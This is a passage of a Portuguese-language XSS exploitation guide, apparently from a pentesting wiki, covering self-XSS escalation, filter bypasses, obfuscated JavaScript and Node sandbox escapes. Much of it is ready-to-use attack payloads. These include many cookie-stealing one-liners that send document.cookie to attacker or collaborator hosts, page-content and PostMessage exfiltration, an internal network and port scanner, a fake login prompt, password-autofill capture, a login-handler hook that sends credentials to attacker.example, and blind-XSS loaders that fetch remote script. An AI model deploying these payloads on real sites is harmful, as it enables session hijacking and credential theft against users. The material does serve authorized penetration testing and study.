Lá você encontrará uma explicação detalhada sobre o que são DOM vulnerabilities, como são provocadas e como explorá-las.
Além disso, não esqueça que ao final do post mencionado você pode encontrar uma explicação sobre DOM Clobbering attacks.

Escalando Self-XSS

Se você consegue disparar um XSS enviando o payload dentro de um cookie, isso geralmente é um self-XSS. No entanto, se você encontrar um subdomínio vulnerável a XSS, pode abusar desse XSS para injetar um cookie em todo o domínio, conseguindo disparar o cookie XSS no domínio principal ou em outros subdomínios (aqueles vulneráveis ao cookie XSS). Para isso você pode usar o cookie tossing attack:

Cookie Tossing

Você pode encontrar um ótimo exemplo de abuso desta técnica em este post do blog.

Enviando sua sessão para o admin

Talvez um usuário possa compartilhar seu perfil com o admin e, se o self XSS estiver dentro do perfil do usuário e o admin acessá-lo, ele acionará a vulnerabilidade.

Session Mirroring

Se você encontrar algum self XSS e a página web tiver um session mirroring for administrators, por exemplo permitindo que clientes peçam ajuda e, para que o admin o ajude, ele verá o que você está vendo na sua sessão, mas a partir da sessão dele.

Você poderia fazer com que o admin acionasse o seu self XSS e roubasse seus cookies/sessão.

Outros Bypasses

Unicode Normalizado

Você pode verificar se os valores refletidos estão sendo unicode normalized no servidor (ou no lado do cliente) e abusar dessa funcionalidade para contornar proteções. Encontre um exemplo aqui.

PHP FILTER_VALIDATE_EMAIL flag Bypass

javascript
"><svg/onload=confirm(1)>"@x.y

Ruby-On-Rails bypass

Devido ao RoR mass assignment aspas são inseridas no HTML e então a restrição de aspas é contornada e campos adicionais (onfocus) podem ser adicionados dentro da tag.
Exemplo de formulário (from this report), se você enviar o payload:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

O par "Key","Value" será retornado assim:

{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

Então, o atributo onfocus será inserido e XSS ocorrerá.

Combinações especiais

html
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

XSS com header injection em uma resposta 302

Se você descobrir que pode inject headers in a 302 Redirect response você pode tentar fazer o browser executar arbitrary JavaScript. Isso não é trivial, pois navegadores modernos não interpretam o corpo da resposta HTTP se o código de status da resposta HTTP for 302, então apenas um cross-site scripting payload é inútil.

Em this report e this one você pode ler como testar vários protocolos dentro do Location header e ver se algum deles permite que o navegador inspecione e execute o XSS payload dentro do body.
Past known protocols: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.

Only Letters, Numbers and Dots

Se você consegue indicar o callback que o javascript vai execute limitado a esses caracteres. Read this section of this post para descobrir como abusar desse comportamento.

Valid <script> Content-Types to XSS

(From here) If you try to load a script with a content-type such as application/octet-stream, Chrome will throw following error:

Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.

The only Content-Types that will support Chrome to run a loaded script are the ones inside the const kSupportedJavascriptTypes from https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc

c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

Tipos de Script para XSS

(De here) Então, quais tipos poderiam ser indicados para carregar um script?

html
<script type="???"></script>
  • module (padrão, nada a explicar)
  • webbundle: Web Bundles é um recurso que permite empacotar um conjunto de dados (HTML, CSS, JS…) em um arquivo .wbn.
html
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
  • importmap: Permite melhorar a sintaxe de importação
html
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>

Esse comportamento foi usado em this writeup para remapear uma biblioteca para eval; seu abuso pode disparar XSS.

  • speculationrules: Este recurso serve principalmente para resolver problemas causados pelo pré-rendering. Funciona assim:
html
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>

Web Content-Types para XSS

(From here) The following content types can execute XSS in all browsers:

  • text/html
  • application/xhtml+xml
  • application/xml
  • text/xml
  • image/svg+xml
  • text/plain (?? not in the list but I think I saw this in a CTF)
  • application/rss+xml (off)
  • application/atom+xml (off)

In other browsers other Content-Types can be used to execute arbitrary JS, check: https://github.com/BlackFan/content-type-research/blob/master/XSS.md

Tipo de conteúdo xml

Se a página estiver retornando um content-type text/xml, é possível indicar um namespace e executar JS arbitrário:

xml
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

Padrões Especiais de Substituição

Quando algo como "some {{template}} data".replace("{{template}}", <user_input>) é usado. O atacante pode usar substituições especiais de string para tentar contornar algumas proteções: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))

Por exemplo em this writeup, isso foi usado para escapar uma string JSON dentro de um script e executar código arbitrário.

Chrome Cache to XSS

Chrome Cache to XSS

XS Jails Escape

Se você tiver um conjunto limitado de caracteres para usar, confira estas outras soluções válidas para problemas de XSJail:

javascript
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

Se tudo for undefined antes de executar código não confiável (como em this writeup) é possível gerar objetos úteis "do nada" para abusar da execução arbitrária de código não confiável:

  • Usando import()
javascript
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
  • Acessando require indiretamente

De acordo com isto os módulos são encapsulados pelo Node.js dentro de uma função, assim:

javascript
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})

Portanto, se a partir desse módulo pudermos chamar outra função, é possível usar arguments.callee.caller.arguments[1] dessa função para acessar require:

javascript
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()

De maneira semelhante ao exemplo anterior, é possível usar error handlers para acessar o wrapper do módulo e obter a função require:

javascript
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()

Ofuscação & Bypass Avançado

javascript
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
javascript
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
javascript
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
javascript
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻   / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
javascript
// It's also possible to execute JS code only with the chars: []`+!${}

Payloads comuns de XSS

Vários payloads em 1

Steal Info JS

Iframe Trap

Faça o usuário navegar na página sem sair do iframe e roube suas ações (incluindo informações enviadas em formulários):

Iframe Traps

Recuperar Cookies

javascript
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

tip

Você não poderá acessar os cookies via JavaScript se a flag HTTPOnly estiver definida no cookie. Mas aqui você tem some ways to bypass this protection se tiver sorte suficiente.

Roubar Conteúdo da Página

javascript
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)

Encontrar IPs internos

html
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}

function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})

setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>

Port Scanner (fetch)

javascript
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

Scanner de Portas (websockets)

python
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

Tempos curtos indicam uma porta que responde Tempos mais longos indicam sem resposta.

Revise a lista de portas bloqueadas no Chrome here e no Firefox here.

Caixa para solicitar credenciais

html
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

Auto-fill passwords capture

javascript
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

Quando qualquer dado é introduzido no campo de senha, o nome de usuário e a senha são enviados para o servidor do atacante; mesmo que o cliente selecione uma senha salva e não escreva nada, as credenciais serão ex-filtrated.

Interceptar manipuladores de formulário para exfiltrar credenciais (const shadowing)

Se um manipulador crítico (p.ex., function DoLogin(){...}) for declarado mais tarde na página, e seu payload rodar antes (p.ex., via um inline JS-in-JS sink), defina um const com o mesmo nome primeiro para antecipar e bloquear o manipulador. Declarações de função posteriores não podem reatribuir um nome const, deixando seu hook no controle:

javascript
const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};

Notas

  • Isso depende da ordem de execução: sua injection deve ser executada antes da declaração legítima.
  • Se seu payload estiver encapsulado em eval(...), as declarações const/let não se tornarão globais. Use a técnica dinâmica de <script> injection da seção “Deliverable payloads with eval(atob()) and scope nuances” para garantir uma variável global verdadeira, não reatribuível.
  • Quando filtros de palavras-chave bloquearem código, combine com identificadores escapados em Unicode ou entrega via eval(atob('...')), como mostrado acima.

Keylogger

Ao pesquisar no github encontrei alguns diferentes:

Stealing CSRF tokens

javascript
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

Roubando mensagens PostMessage

html
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

Abusar de Service Workers

Abusing Service Workers

Acessando Shadow DOM

Shadow DOM

Polyglots

Auto_Wordlists/wordlists/xss_polyglots.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Payloads para Blind XSS

Você também pode usar: https://xsshunter.com/

html
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

